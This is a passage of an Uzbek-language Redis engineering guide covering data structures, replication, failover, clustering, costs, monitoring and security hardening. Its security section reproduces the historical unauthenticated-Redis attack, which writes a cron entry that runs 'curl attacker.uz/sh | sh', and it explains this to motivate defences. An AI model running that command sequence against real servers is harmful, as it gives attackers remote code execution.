Antirez skiplist’ni tanlaganini uchta sabab bilan tushuntirgan:

  1. Diapazon so‘rovlari tabiiy — ZRANGE va ZRANGEBYSCORE 0-qavatdagi bog‘langan ro‘yxat bo‘ylab yurishdan iborat. Daraxtda bu ancha murakkabroq.
  2. Kod sodda — qo‘shish va o‘chirish lokal: aylantirish (rotation) va qayta balanslash yo‘q. Span qo‘shish ham bir necha qator.
  3. Xotira sozlanadi — P ni o‘zgartirib, tezlik va xotira orasida tanlash mumkin. P = 0.25 — o‘rtacha 1.33 ko‘rsatkich, ya’ni balanslangan daraxtdan (2 ko‘rsatkich) arzonroq.

Narxi — tasodif: eng yomon holatda qidiruv uzun bo‘lishi mumkin, lekin uning ehtimoli N o‘sgan sari keskin kamayadi. Amaliyotdagi tekshiruv 20 000 elementda darajalar taqsimotini (≥2 qavat: ~25%, ≥3: ~6%) va har qidiruvdagi ko‘rsatkichlar sonini o‘lchaydi.

7.2 HyperLogLog: 12 KB da milliardni qanday sanash

Oddiy tilda: do‘stingiz tanga tashlab, “ketma-ket nechta gerb tushdi” seriyasini yozib boradi va sizga faqat eng uzun seriyani aytadi — masalan, 10. Ketma-ket 10 ta gerb taxminan har mingtadan bir urinishda tushadi. Demak, u taxminan ming marta tashlagan. Bitta raqamdan butun sonni taxmin qildingiz. HyperLogLog aynan shu fikrga tayanadi.

Mexanizm (Redis):

  1. Har element 64 bitli xeshga aylantiriladi.
  2. Quyi 14 bit — 16 384 ta registrdan qaysi biri (taxminni 16 384 ta mustaqil “do‘st”ga bo‘lamiz).
  3. Qolgan 50 bitdagi oxirgi nollar soni + 1 — rank (“seriya uzunligi”). Registr eng katta rankni eslaydi.
  4. Hisob: registrlar bo‘yicha garmonik o‘rtacha. Bitta tasodifan juda katta registr natijani buzmaydi.
  5. Kichik sonlarda ko‘p registr bo‘sh qoladi — u yerda “linear counting” aniqroq: M · ln(M / bo‘sh_registrlar).
Hisob · Nega aynan 12 KB va 0.81%
Registrlar: M = 2^14 = 16 384 Har registr: rank <= 51 -> 6 bit yetadi (2^6 = 64) Hajm: 16 384 x 6 / 8 = 12 288 bayt = 12 KB Standart xato: 1.04 / sqrt(M) = 1.04 / 128 = 0.81% ~68% hollarda xato <= 0.81% ~95% hollarda <= 1.6% Aniq sanash bilan solishtiring (10 mln foydalanuvchi): SET: ~560 MB (5-bo'lim, 8-stsenariy) HLL: 12 KB -> ~45 000 barobar kam
Natija: 16 384 registr x 6 bit = 12 KB. Standart xato 1.04 / 128 = 0.81% — bu 'odatda'; ~95% hollarda xato 1.6% dan oshmaydi

Bitta nozik joy amaliyotda ko‘rinadi. Oddiy HLL formulasi bilan linear counting o‘rtasidagi o‘tish oralig‘ida (bu yerda ~40–70 ming element) xato ~3% gacha ko‘tariladi. Redis 2014-yilda HLL’ni empirik tuzatish bilan qo‘shgan. Redis 5.0 (2018) esa Otmar Ertl’ning yangi baholovchisiga o‘tdi: u butun oraliqda xolis va empirik jadvallarga tayanmaydi. Amaliyotda siz klassik variantni yozasiz va bu farqni o‘z ko‘zingiz bilan ko‘rasiz.

7.3 Namunali LRU va faol ekspirasiya — raqamlarda

3-bo‘limdagi ikki mexanizm “taxminan to‘g‘ri” ishlaydi. Qanchalik taxminan — amaliyotdagi simulyatsiyada o‘lchanadi.

Hisob · Namunali LRU haqiqiy LRU'ga qanchalik yaqin
2-daraja amaliyoti: 50 000 kalit, kesh 5 000 (10%), 200 000 so'rov, Zipf s = 1.0 urish darajasi Haqiqiy LRU 71.4% Tasodifiy siqib chiqarish 68.0% Namunali LRU, 5 namuna 71.0% Namunali LRU, 10 namuna 71.3% Xotira (10 mln kalit): haqiqiy LRU: 2 ko'rsatkich x 8 bayt x 1e7 = 160 MB namunali: 24 bit (robj ichida bor) = 0 qo'shimcha
Natija: 5 ta namuna haqiqiy LRU'dan atigi 0.4 punkt orqada; 10 ta namunada farq 0.1 punkt. Har kalitga 16 baytlik ro'yxat ko'rsatkichi o'rniga — 24 bitlik vaqt belgisi

Faol ekspirasiya ham shunday: 60 000 TTL li kalitning yarmi bir lahzada eskirganda va yana 100 000 ta TTL siz kalit bo‘lganda, amaliyotdagi sikl eskirgan kalitlar ulushini ~25% atrofida ushlab turadi. Ya’ni xotirada “o‘lik” kalitlar bo‘ladi, lekin chegaralangan. Va tinch paytda sikl bir necha o‘nta kalitni tekshiradi — CPU deyarli sarflanmaydi.

Nazorat savoli · javobni ko‘rishNega Redis TTL li kalitlarni alohida massivda saqlaydi (amaliyotdagi vkeys)? Hamma kalitlardan namuna olish soddaroq emasmi?

Sodda, lekin foydasiz. Tasavvur qiling: 100 million kalit, ulardan atigi 1 milliontasida TTL bor (1%). Hamma kalitlardan 20 ta namuna olsangiz, o‘rtacha 0.2 tasi TTL li bo‘ladi va deyarli hech qachon muddati o‘tganini topmaysiz. 25% qoidasi “eskirganlar kam” deb siklni darhol to‘xtatadi — va million eskirgan kalit xotirada qoladi.

Redis buni hal qilish uchun TTL li kalitlarni alohida lug‘atda (expires) saqlaydi va namunani faqat shu yerdan oladi. Amaliyotdagi mutatsiya testi aynan shu xatoni ushlaydi: “hamma kalitlardan namuna” bilan eskirgan kalitlar ulushi 25% o‘rniga ~48% da qoladi.

8. Masshtablash: replikatsiya, failover, klaster

8.1 Replikatsiya

Oddiy tilda: bosh doskaning yonida yordamchi nusxa-doskalar turadi. Kotib bosh doskaga yozilgan har gapni ularga ko‘chirib boradi — lekin bir oz kechikib. Bosh doska yiqilsa, nusxalardan biri bosh bo‘ladi, va oxirgi bir necha gap ko‘chirilmay qolgan bo‘lishi mumkin.

REPLICAOF master.host 6379

Replika master‘dan asinxron oqim oladi. Master yozuvni qabul qilib, mijozga darhol +OK qaytaradi va replikaga keyin yuboradi. Bu tezlik uchun to‘g‘ri qaror, lekin oqibatlari bor.

Master  --[repl akış]-->  Replika 1
        --[repl akış]-->  Replika 2 (boshqa mintaqada)

Uzilish bo‘lganda qisman qayta sinxronizatsiya ishlaydi: master oxirgi yozuvlarni halqasimon buferda (repl-backlog) saqlaydi. Replika qisqa vaqt uzilib qaytsa, faqat yetishmayotgan qismni oladi. Bufer to‘lib ketgan bo‘lsa — to‘liq sinxronizatsiya: master fork qilib RDB yaratadi va butun ma’lumotni yuboradi (4.2-bo‘limdagi xotira cho‘qqisi bilan birga).

Hisob · repl-backlog hajmini tanlash
Yozish tezligi: 100 000 ops/s O'rtacha komanda repl oqimida: ~100 bayt Sekundiga: 100 000 x 100 = 10 MB/s Standart repl-backlog-size = 1 MB -> 0.1 soniya Ko'p ishlatiladigan 10 MB -> 1 soniya 60 soniyalik uzilishga chidash uchun: 10 MB/s x 60 = 600 MB
Natija: 10 MB standart bufer 100 000 ops/s da atigi 1 soniyaga yetadi. Tarmoq 30 soniya uzilsa - to'liq resync va xotira cho'qqisi

8.2 Failover: nechta yozuv yo‘qoladi

Master tushdi, replika ko‘tarildi. Asinxron replikatsiya tufayli replikaga yetib ulgurmagan yozuvlar yo‘qoladi.

Master javob bermayapti
Har Sentinel: 'menimcha tushdi' (down-after-milliseconds)
Kvorum: 'haqiqatan tushdi'
Sentinel'lar lider saylaydi
Eng yangi (offset katta) replika tanlanadi
REPLICAOF NO ONE — yangi master
Qolgan replikalar va mijozlar yangi manzilga
Odatda 5-30 soniya. Shu oraliqda yozish ishlamaydi; eski masterdagi replikaga yetmagan yozuvlar yo'qoladi
Hisob · Failover'dagi yo'qotish oynasi
Replikatsiya kechikishi (odatiy): 1-5 ms Master tushishi aniqlanishi (Sentinel): 5-30 soniya Yo'qolgan yozuvlar = yozish tezligi x replikatsiya kechikishi 100 000 ops/s x 0.005 s = 500 ta yozuv Lekin tarmoq muammosida kechikish o'sadi: kechikish 0.5 s bo'lsa -> 50 000 yozuv yo'qoladi
Natija: Odatiy sozlamada 10-50 ming yozuv yo'qolishi mumkin. 'Redis ma'lumot yo'qotmaydi' degan taxmin - eng qimmat xato

Chastotani kamaytiruvchi vositalar:

min-replicas-to-write 1      # kamida 1 ta replika ulanmagan bo'lsa, yozishni rad et
min-replicas-max-lag 10      # va uning kechikishi 10 soniyadan oshmasin

WAIT 1 100 komandasi esa yozuvdan keyin kamida 1 ta replika tasdiqlashini 100 ms kutadi. Bu kafolat emas (u ham asinxron), lekin muhim yozuvlar uchun oynani sezilarli qisqartiradi.

▸Chuqurroq: Split-brain: ikkita master bir vaqtda

Tarmoq bo‘linishida master hali ishlab turibdi, lekin Sentinel uni ko‘rmayapti va replikani ko‘taradi. Endi ikkita master bor va mijozlarning bir qismi eskisiga yozishda davom etadi.

Tarmoq tiklanganda eski master replikaga aylanadi va o‘z ma’lumotini tashlab, yangi masterdan sinxronlanadi — ya’ni bo‘linish davomida unga yozilgan hamma narsa yo‘qoladi.

Himoya: min-replicas-to-write — ozchilik tomonda qolgan master replikasiz qolganini sezib, yozishni o‘zi rad etadi. Bu CAP teoremasidagi ongli tanlov: bo‘linishda mavjudlikdan voz kechib, izchillikni saqlash.

Sentinel uchun ham to‘g‘ri kvorum shart: 3 ta Sentinel va quorum 2. Ikkita Sentinel bilan kvorum ma’nosini yo‘qotadi.

8.3 Klaster: 16384 slot

Oddiy tilda: doska bitta devorga sig‘may qoldi. Uni 16 384 ta raqamlangan katakka bo‘lamiz va kataklarni bir nechta devorga taqsimlaymiz. Har yozuvning qaysi katakka tushishi uning nomidan hisoblanadi — shuning uchun hamma qaysi devorga borishni biladi.

Bitta instansiya RAM va bitta yadro bilan cheklangan. Redis Cluster ma’lumotni 16384 ta slot ga bo‘lib, ularni tugunlar orasida taqsimlaydi.

slot = CRC16(kalit) mod 16384

Mijoz noto‘g‘ri tugunga so‘rasa, MOVED javobini oladi va so‘rovni to‘g‘ri tugunga yo‘naltiradi (mijoz kutubxonasi buni avtomatik qiladi va slot xaritasini keshlaydi).

▸Chuqurroq: Qayta shardlash: slotlar qanday ko'chadi

Yangi tugun qo‘shilganda slotlar bittalab ko‘chiriladi va bu ishlash davomida bajariladi:

1. Maqsad tugun:  CLUSTER SETSLOT <slot> IMPORTING <manba-id>
2. Manba tugun:   CLUSTER SETSLOT <slot> MIGRATING <maqsad-id>
3. Kalitlar guruh-guruh ko'chiriladi (MIGRATE)
4. Ko'chish davomida:
     - kalit hali manbada  -> oddiy javob
     - kalit ko'chib bo'lgan -> ASK yo'naltirishi (bir martalik)
5. CLUSTER SETSLOT <slot> NODE <maqsad-id>  -> yakunlash

MOVED va ASK farqi muhim: MOVED — “bu slot butunlay o‘sha tugunda, xaritangni yangila”; ASK — “aynan shu so‘rov uchun o‘sha tugunga bor, lekin xaritani o‘zgartirma”. Mijoz kutubxonasi ikkalasini to‘g‘ri boshqarishi shart, aks holda ko‘chirish davomida xatolar chiqadi.

Hisob · Qayta shardlash qancha vaqt oladi
Klaster: 4 tugun, 100 GB, 16384 slot Yangi tugun qo'shamiz -> 4 tugundan 5 taga Ko'chishi kerak: 16384 / 5 = ~3277 slot Har bir slotda: 100 GB / 16384 = ~6 MB MIGRATE tezligi (kalitlar bittalab, tarmoq va CPU bilan): ~10 MB/s (ishlab turgan tizimga ta'sir qilmaslik uchun sekin) Vaqt: 3277 x 6 MB / 10 MB/s = ~1966 s = ~33 daqiqa Amalda (katta kalitlar va sekinlashuv bilan): 1-2 soat
Natija: 100 GB klasterga bitta tugun qo'shish ~2 soat. Bu rejalashtirilgan ish — 'yuk oshdi, tez tugun qo'shamiz' ishlamaydi

8.4 Klaster kerakmi yoki katta instansiya yetarlimi?

Bitta katta instansiya + replikalar
  • Barcha komandalar cheklovsiz ishlaydi
  • Operatsiya sodda, debug oson
  • Vertikal chegara: ~100-200 GB amaliy
  • Bitta yadro yozish uchun — ~100k ops/s
Redis Cluster
  • Xotira va throughput chiziqli o'sadi
  • Bir necha kalitli amallar cheklangan
  • Mijoz kutubxonasi klasterni qo'llashi shart
  • Operatsion murakkablik sezilarli oshadi

Amaliy qoida: klasterga faqat kerak bo‘lganda o‘ting. Ko‘p jamoalar klasterni oldindan qo‘yib, keyin CROSSSLOT xatolari va murakkab migratsiyalar bilan kurashadi. Alternativ — funksional bo‘lish: sessiyalar bitta instansiyada, kesh boshqasida, navbatlar uchinchisida. Bu ko‘pincha soddaroq va yetarli.

9. Bugungi arxitektura

Ishlab chiqarishdagi odatiy Redis topologiyasi
Ilova
Ulanish hovuziTimeout va retryKlaster-aware mijoz

Kechikishning ko'p qismi shu qatlamda hal bo'ladi: pipelining, timeout, ulanishlar soni.

Yo'naltirish
Klaster slot xaritasiyoki Sentinel orqali topish

Mijoz master manzilini o'zi biladi — proksi shart emas.

Ma'lumot tugunlari
Master (yozish + o'qish)Replika 1Replika 2

O'qishni replikadan olish mumkin, lekin eskirgan ma'lumotga tayyor bo'lish kerak.

Kuzatuv va boshqaruv
Sentinel / klaster nazoratiMetrikalarZaxira (RDB tashqariga)

Failover avtomatik bo'lishi shart — qo'lda aralashuv daqiqalar oladi.

Ko‘p jamoalar uchun eng to‘g‘ri boshlang‘ich: bitta master + ikkita replika + Sentinel, va Redis maqsadi bo‘yicha ajratilgan instansiyalar (kesh alohida, sessiya alohida, navbat alohida). Bu topologiya 100 GB gacha va 100 000 ops/s gacha bemalol xizmat qiladi.

Hisob · Kesh, sessiya va navbat — uchta instansiya qancha
Faraz (o'rta loyiha): Kesh: 8 GB issiq ma'lumot, allkeys-lru, doimiyliksiz Sessiya: 1 mln x ~1 KB = ~1 GB, volatile-lru, AOF everysec Navbat: Streams, MAXLEN ~ 2 mln x 0.5 KB = ~1 GB, noeviction, AOF Tugun hajmi (fork zaxirasi bilan, 13-bo'lim): Kesh: 8 x 1.3 / 0.55 = ~19 GB -> 2 x 24 GB (master + replika) Sessiya: 1 x 1.3 / 0.55 = ~2.4 GB -> 2 x 4 GB Navbat: 1 x 1.3 / 0.55 = ~2.4 GB -> 2 x 4 GB RAM jami: 64 GB, ~$10/GB/oy -> ~$640 / oy Bitta umumiy instansiya: 2 x 32 GB = 64 GB -> deyarli bir xil narx, lekin bitta siyosat, bitta doimiylik, bitta nosozlik nuqtasi
Natija: Ajratish qo'shimcha ~$150/oy turadi, lekin har biri o'z siyosati va doimiyligi bilan ishlaydi. Bitta umumiy instansiyaning 'tejamkorligi' birinchi xotira bosimida sessiyalar yo'qolishi bilan tugaydi
Nazorat savoli · javobni ko‘rishStartapda bitta Redis bor: kesh, sessiyalar va Sidekiq/Celery navbati. Birinchi xotira inqirozida nima bo'ladi va qanday ajratasiz?

Nima bo‘ladi siyosatga bog‘liq. allkeys-lru bo‘lsa — sessiyalar va navbatdagi vazifalar siqib chiqariladi: foydalanuvchilar tizimdan chiqadi, xatlar yuborilmaydi. noeviction bo‘lsa — kesh o‘sishi hamma yozishni to‘xtatadi: navbatga ham vazifa qo‘shib bo‘lmaydi.

Ajratish tartibi (xavf kamayishi bo‘yicha):

  1. Navbatni alohida instansiyaga — noeviction va AOF bilan. Bu eng qimmat yo‘qotish
  2. Sessiyalarni alohida — volatile-lru, TTL majburiy, AOF everysec
  3. Qolgan instansiya — sof kesh: allkeys-lfu, doimiyliksiz

Migratsiya yangi kalitlar yangi instansiyaga yozilishi bilan boshlanadi. Eskilari TTL bilan o‘zi yo‘qoladi; navbatda esa avval eski navbat bo‘shatiladi. Narx deyarli o‘zgarmaydi — 9-bo‘limdagi hisobga qarang.

10. Ishonchlilik: nima buziladi

10.1 Nosozliklar taksonomiyasi

NosozlikBelgisiSababChora
Katta kalit (big key)p99 sakraydi, DEL bloklaydi10 GB li ZSET yoki List--bigkeys, UNLINK, kalitni bo‘lish
Issiq kalit (hot key)Bitta tugun 100% CPUViral obyektMijoz tomonda kesh, replikadan o‘qish
Fork cho‘qqisiSaqlash paytida OOMmaxmemory juda yuqori50–60% qoida, THP o‘chirish
SwapKechikish 1000 barobar oshdiRAM to‘lganmaxmemory pasaytirish, swap o‘chirish
Bloklovchi komandaButun server to‘xtadiKEYS, katta HGETALLrename-command, SCAN
Failover yo‘qotishiYozuvlar yo‘qoldiAsinxron replikatsiyamin-replicas-to-write, WAIT
Split-brainIkki masterTarmoq bo‘linishiSentinel kvorumi, min-replicas-*
Ulanishlar tugadimax number of clients reachedHovuz noto‘g‘ri sozlanganmaxclients, hovuz hajmini tekshirish
Kalitlar to‘planishiXotira asta o‘syaptiTTL qo‘yilmaganTTL siyosati, volatile-*
▸Chuqurroq: Katta kalitni qanday topish va nima qilish

redis-cli --bigkeys butun bazani SCAN bilan aylanib chiqadi (serverni bloklamaydi) va har bir tur bo‘yicha eng kattasini ko‘rsatadi.

Katta kalit uch xil zarar qiladi:

  1. DEL bloklaydi — 10 million elementli ZSET ni o‘chirish soniyalar oladi. Yechim: UNLINK — u kalitni darhol kalit maydonidan uzadi va xotirani fon ipida bo‘shatadi
  2. Klasterda migratsiya bloklaydi — bitta kalit atomik ko‘chadi, ya’ni gigabaytlik kalit ko‘chishi paytida ikkala tugun ham to‘xtaydi
  3. Tarmoq buferini to‘ldiradi — HGETALL bilan 500 MB qaytarish mijozni ham, serverni ham bo‘g‘adi

Yechim — kalitni bo‘lish (sharding within Redis):

user:42:events              ->  10M element, yomon
user:42:events:2026-09      ->  oyma-oy, har biri ~300k

10.2 Degradatsiya tartibi

1-bosqich
Kesh promahiga tayyor bo'lish
Ilova Redis javob bermasa, to'g'ridan-to'g'ri bazaga borishi kerak — timeout qisqa (50-100 ms) bo'lsin.
2-bosqich
Bazani himoya qilish
Kesh tushganda bazaga to'liq yuk tushadi. Single-flight va bazaga rate limit shart.
3-bosqich
Ikkinchi darajali funksiyalarni o'chirish
Reyting jadvali, tavsiyalar, statistika — bularsiz mahsulot ishlayveradi.
4-bosqich
Faqat o'qish rejimi
Yozish Redis'ga bog'liq bo'lsa (sessiya, navbat), yangi sessiyalarni to'xtatib, mavjudlarini davom ettirish.

11. Xavfsizlik

11.1 Tarixiy muammo: himoyasiz Redis

Redis uzoq vaqt standart holda parolsiz ishlagan va bu internetga ochiq qolgan minglab serverning buzilishiga olib kelgan. Klassik hujum:

CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SET x "\n\n*/1 * * * * curl attacker.uz/sh | sh\n\n"
SAVE

Ya’ni hujumchi Redis‘ni o‘z ma’lumotini crontab fayli sifatida yozishga majbur qiladi. Bir daqiqadan keyin server hujumchining kodini ishga tushiradi.

Himoya qatlamlari:

ChoraNima beradi
bind 127.0.0.1 va tarmoq izolyatsiyasiRedis umuman ochiq bo‘lmaydi — eng muhim chora
requirepass yoki ACL (Redis 6+)Autentifikatsiya
protected-mode yesParolsiz va bind‘siz holda tashqi ulanishni rad etadi
rename-command CONFIG ""Xavfli komandalarni o‘chirish
TLSTarmoqdagi tinglash va o‘zgartirishga qarshi

11.2 ACL: foydalanuvchi darajasidagi cheklov

Redis 6 dan boshlab har bir mijozga alohida huquq berish mumkin:

ACL SETUSER cache_app on >parol123 ~cache:* +get +set +del +expire
  ~cache:*  -> faqat shu naqshdagi kalitlar
  +get ...  -> faqat shu komandalar

Bu eng kam imtiyoz prinsipini amalga oshiradi: ilova buzilsa ham, hujumchi FLUSHALL qila olmaydi yoki boshqa xizmatning kalitlarini o‘qiy olmaydi.

11.3 Lua va boshqa nozik joylar

  • Lua sandbox — skriptlar fayl tizimiga va tarmoqqa kira olmaydi, lekin ular serverni bloklashi mumkin. Foydalanuvchi kiritgan ma’lumotdan skript qurish (string concatenation) — Redis uchun “SQL injection” ekvivalenti. Har doim KEYS va ARGV orqali uzating
  • Xotiradagi maxfiy ma’lumot — sessiya tokenlari, shaxsiy ma’lumotlar. RDB fayli ochiq matnda saqlanadi; zaxira nusxalar shifrlanishi kerak
  • CLIENT LIST va MONITOR — ular barcha komandalarni ko‘rsatadi, ya’ni parollar va tokenlar ham ko‘rinadi. ACL bilan cheklanishi shart
Nazorat savoli · javobni ko‘rishRedis bilan ishlaydigan ilovada 'timeout' qanday sozlanishi kerak?

Uchta alohida timeout bor va ular chalkashtiriladi:

  1. Ulanish timeout (connect) — 100–500 ms. Redis bir xil tarmoqda, sekin ulanish demak muammo bor
  2. Komanda timeout (socket read) — 50–200 ms. Redis komandasi mikrosoniyalarda bajariladi; 1 soniya kutish mantiqsiz va ilovani bloklaydi
  3. Hovuzdan ulanish kutish — 50–100 ms. Uzoq kutish orqa bosimni yo‘qotadi

Va eng muhimi: timeout bo‘lganda nima qilamiz? Kesh uchun — bazaga borish (fail-open). Rate limiter uchun — ruxsat berish yoki rad etish, bu biznes qaroriga bog‘liq (fail-open suiiste’molga yo‘l ochadi, fail-closed halol foydalanuvchini bloklaydi).

Retry faqat idempotent komandalarga (GET, SET) va faqat bir marta, jitter bilan. INCR ni retry qilish hisobni buzadi.

Nazorat savoli · javobni ko‘rishKlasterda `MGET user:1:name user:2:name` xato beryapti. Nima bo'lyapti va qanday tuzatasiz?

CROSSSLOT xatosi: user:1:name va user:2:name turli slotlarga tushadi (CRC16(kalit) mod 16384), bir necha kalitli komandalar esa faqat bitta slot ichida ishlaydi.

Uch yechim, holatga qarab:

  1. Kalitlarni slot bo‘yicha guruhlab, alohida MGET yuborish — mijoz kutubxonalari ko‘pincha buni avtomatik qiladi. Eng universal yechim
  2. Pipeline — alohida GET lar, lekin bitta paketda. Deyarli bir xil tezlik va hech qanday cheklov yo‘q
  3. Hash teg — agar kalitlar doim birga o‘qilsa: user:{1}:name. Lekin bu bir foydalanuvchining hamma ma’lumotini bitta tugunga bog‘laydi va yuk muvozanatini buzishi mumkin

Bu yerda 1 va 2 to‘g‘ri; 3 faqat mantiqan bog‘liq kalitlar uchun (bitta foydalanuvchining profili va sozlamalari kabi).

12. Iqtisod: RAM qancha turadi

Redis qarorlarining aksariyati bitta faktdan kelib chiqadi: RAM diskdan ~100 barobar qimmat.

Hisob · Saqlash narxi taqqoslash
Taxminiy oylik narxlar (bulut, 2026): RAM (Redis instansiyasi) ~ $8-15 / GB / oy SSD blok qurilma ~ $0.10 / GB / oy Obyekt xotira (S3 kabi) ~ $0.023 / GB / oy Nisbat: RAM / SSD = ~100x RAM / S3 = ~450x 40 GB ma'lumot: Redis (replika bilan, 2 x 94 GB tugun) ~ $1400 / oy Postgres SSD da ~ $200 / oy
Natija: Bitta gigabayt RAM bir oyda diskdagi 100 gigabaytga teng. Redis'da 'ehtiyot uchun saqlab qo'yaylik' degan yondashuv juda qimmat

12.1 Qaysi ma’lumot RAM ga arziydi

Oddiy mezon: saqlash narxi tejagan hisob narxidan kam bo‘lsa arziydi.

Hisob · Keshning foydasi
Kesh: 10 GB, oyiga ~$120 Tejaydi: Sekundiga 5000 so'rov keshdan javob oladi Har biri bazada 2 ms CPU yer edi 5000 x 2 ms = 10 CPU-soniya / soniya = 10 yadro doimiy 10 ta yadro (baza serveri) ~ $350 / oy Va bazani masshtablash Redis'ni masshtablashdan qimmatroq Foyda: $350 tejash uchun $120 sarf
Natija: Kesh o'zini 30 barobar oqlaydi. Lekin bu faqat urish darajasi yuqori bo'lganda — 50% da foyda yarmiga tushadi

12.2 Xarajatni kamaytirish vositalari

VositaKutilayotgan yutuqNarxi
Kichik obyektlarni hash‘da guruhlash3–5×Kod murakkabligi
Kodlash chegaralarini sozlash2–5× kichik obyektlardaO(N) sezilarli bo‘ladi
Faqat issiq qismini keshlash5–10×Urish darajasi tushadi
HLL / bitmap ishlatish (SET o‘rniga)100–1000×Taxminiylik yoki cheklov
Qiymatlarni siqish (kliyentda)2–4×CPU va debug qiyinlashadi
TTL siyosati va tozalashO‘sishni to‘xtatadiYo‘qolgan kesh urishlari
Kalit nomlarini qisqartirish5–15%O‘qilishi yomonlashadi
▸Chuqurroq: Kalit nomlari ham xotira yeydi

user_session_data:organization:42:user:12345678 — 47 bayt. Million kalit bo‘lsa, faqat nomlar 47 MB va uning ustiga SDS sarlavhasi va yaxlitlash.

s:o42:u12345678 — 15 bayt, ya’ni 3 barobar kam.

Bu mikro-optimizatsiya kabi ko‘rinadi va kichik bazada shunday. Lekin 100 million kalitda farq 3 GB ni tashkil qiladi — bu oyiga ~$40 va, muhimi, fork cho‘qqisidagi zaxira talabini ham oshiradi.

Muvozanat: qisqartirish debug‘ni qiyinlashtiradi. Amaliy kelishuv — prefikslarni qisqartirish (session: → s:), lekin identifikatorlarni to‘liq qoldirish.

13. Sig‘im rejalashtirish

Hisob · Qanday tugun kerak
Ma'lumot hajmi (o'lchangan, MEMORY USAGE bilan): 40 GB x1.3 fragmentatsiya va jemalloc yaxlitlashi 52 GB /0.55 fork va COW uchun zaxira (maxmemory 55%) 94 GB -------------------------------------------------------- Kerakli tugun: ~96 GB RAM Throughput: Bitta instansiya, oddiy komandalar: ~100 000 ops/s Pipelining bilan: ~800 000 ops/s Kerak bo'lsa: o'qishni replikalarga taqsimlash
Natija: 40 GB ma'lumot uchun 96 GB li tugun kerak. 'Ma'lumotim 40 GB, 48 GB li tugun olaman' - fork paytida yiqiladigan klassik xato

Qachon klasterga o‘tish kerak:

SignalChegara
Ma’lumot hajmi100 GB dan oshsa (fork vaqti va tiklash sekinlashadi)
Yozish throughput80 000 ops/s dan oshsa (bitta yadro chegarasi)
Fork davomiyligi500 ms dan oshsa (latest_fork_usec)
Tiklash vaqtiQabul qilinmas darajada uzun (100 GB RDB ~ 10 daqiqa)
Hisob · fork o'zi qancha bloklaydi
fork() paytida yadro ota jarayonning sahifalar jadvalini nusxalaydi (ma'lumotning o'zini emas — u copy-on-write). 4 KB sahifa, har biriga ~8 baytlik yozuv: 1 GB = 262 144 sahifa -> ~2 MB sahifa jadvali 40 GB = ~80 MB sahifa jadvali Odatiy tezlik (apparat va virtualizatsiyaga qarab): ~10-20 ms / GB 10 GB -> 0.1-0.2 s 40 GB -> 0.4-0.8 s 100 GB -> 1-2 s <- har BGSAVE da shuncha to'xtash latest_fork_usec > 500 000 -> ma'lumotni bo'lish vaqti keldi
Natija: fork() sahifalar jadvalini nusxalaydi: ~10-20 ms / GB. 40 GB da ~0.5-1 soniya — shu vaqtda Redis hech kimga javob bermaydi. Klasterga o'tishning eng aniq signali shu

14. Kuzatuv

14.1 Eng muhim metrikalar

INFO stats | grep keyspace
  keyspace_hits:  9500000
  keyspace_misses: 500000
  -> urish darajasi = 9.5M / 10M = 95%
MetrikaNimani ko‘rsatadiOgohlantirish chegarasi
keyspace_hits/missesKesh samaradorligiUrish darajasi 90% dan past
used_memory va maxmemory nisbatiXotira bosimi85% dan yuqori
mem_fragmentation_ratioFragmentatsiya yoki swap1.5 dan yuqori yoki 1.0 dan past
evicted_keysSiqib chiqarish sodir bo‘lyaptiHar qanday o‘sish (keshdan tashqarida)
expired_keysTTL ishlayaptiKutilganidan keskin farq
instantaneous_ops_per_secYukBazaviy chiziqdan 2× og‘ish
connected_clientsUlanishlarmaxclients ning 80% i
rejected_connectionsLimitga urildiHar qanday nolga teng bo‘lmagan son
blocked_clientsBRPOP/XREAD da kutayotganlarKutilmagan o‘sish
latest_fork_usecOxirgi fork qancha bloklagan500 000 (0.5 s) dan yuqori
master_repl_offset farqiReplikatsiya kechikishi1 MB dan yuqori
Hisob · Urish darajasining bazaga ta'siri
Umumiy o'qish: 100 000 so'rov/s Urish darajasi 99% -> bazaga 1 000 so'rov/s Urish darajasi 95% -> bazaga 5 000 so'rov/s Urish darajasi 90% -> bazaga 10 000 so'rov/s Urish darajasi 80% -> bazaga 20 000 so'rov/s Ya'ni 95% dan 90% ga tushish - bazaga yuk 2x 95% dan 80% ga tushish - bazaga yuk 4x Baza sig'imi 8 000 so'rov/s bo'lsa, tizim urish darajasi 92% dan pastga tushganda YIQILADI
Natija: Urish darajasi 95% dan 90% ga tushsa, bazaga yuk IKKI BAROBAR oshadi. Shuning uchun bu metrika eng muhimi — u chiziqli emas

14.2 Diagnostika vositalari

SLOWLOG GET 10           # eng sekin 10 komanda (standart chegara 10 ms)
LATENCY DOCTOR           # kechikish sabablarini tahlil qiladi
MEMORY DOCTOR            # xotira muammolari bo'yicha maslahat
MEMORY USAGE <kalit>     # bitta kalit qancha joy egallaydi
redis-cli --bigkeys      # har tur bo'yicha eng katta kalitlar
redis-cli --hotkeys      # eng ko'p so'raladigan kalitlar (LFU kerak)
redis-cli --latency      # real vaqtdagi kechikish o'lchovi

15. Antinaqshlar

QarorNima yutamizNimani yo'qotamiz
Ishlab chiqarishda KEYS ishlatishYozish osonO(N) — butun serverni soniyalarga bloklaydi. SCAN bor
maxmemory qo'ymaslikKonfiguratsiya kamOOM killer Redis'ni o'ldiradi — butun ma'lumot bir lahzada yo'qoladi
Kesh va sessiyani bitta instansiyada saqlashArzonallkeys-lru sessiyalarni chiqarib yuboradi — foydalanuvchilar tizimdan chiqadi
TTL siz kesh kalitlariKod soddaXotira cheksiz o'sadi; volatile-* siyosatda ular hech qachon chiqarilmaydi
Katta JSON'ni bitta kalitda saqlab, butunini o'qishSodda modelTarmoq va CPU isrofi; hash bilan faqat kerakli maydonni olish mumkin
Siklda GET chaqirishKod tabiiy ko'rinadiN x RTT — 500 kalit uchun 100 ms. MGET yoki pipeline 100 barobar tez
Pub/Sub bilan muhim hodisa yuborishEng past kechikishObunachi uzilsa xabar butunlay yo'qoladi. Streams kerak
Redis lock'ga to'g'rilik uchun ishonishOddiy ko'rinadiGC pauzasi ikki egani yaratadi. Fencing token yoki bazadagi tranzaksiya kerak
Ko'p ijarachilikni SELECT db raqami bilan qilishTez yechimKlasterda ishlamaydi, FLUSHALL hammasini o'chiradi, izolyatsiya yo'q
Ma'lumotni faqat Redis'da saqlash (doimiyliksiz)Eng tezQayta ishga tushirish = ma'lumot yo'q. AOF yoki manba tizim shart

16. Trade-off‘lar

QarorNima yutamizNimani yo'qotamiz
AOF everysec1 soniyagacha yo'qotish, tezFayl o'sadi, rewrite fork qiladi
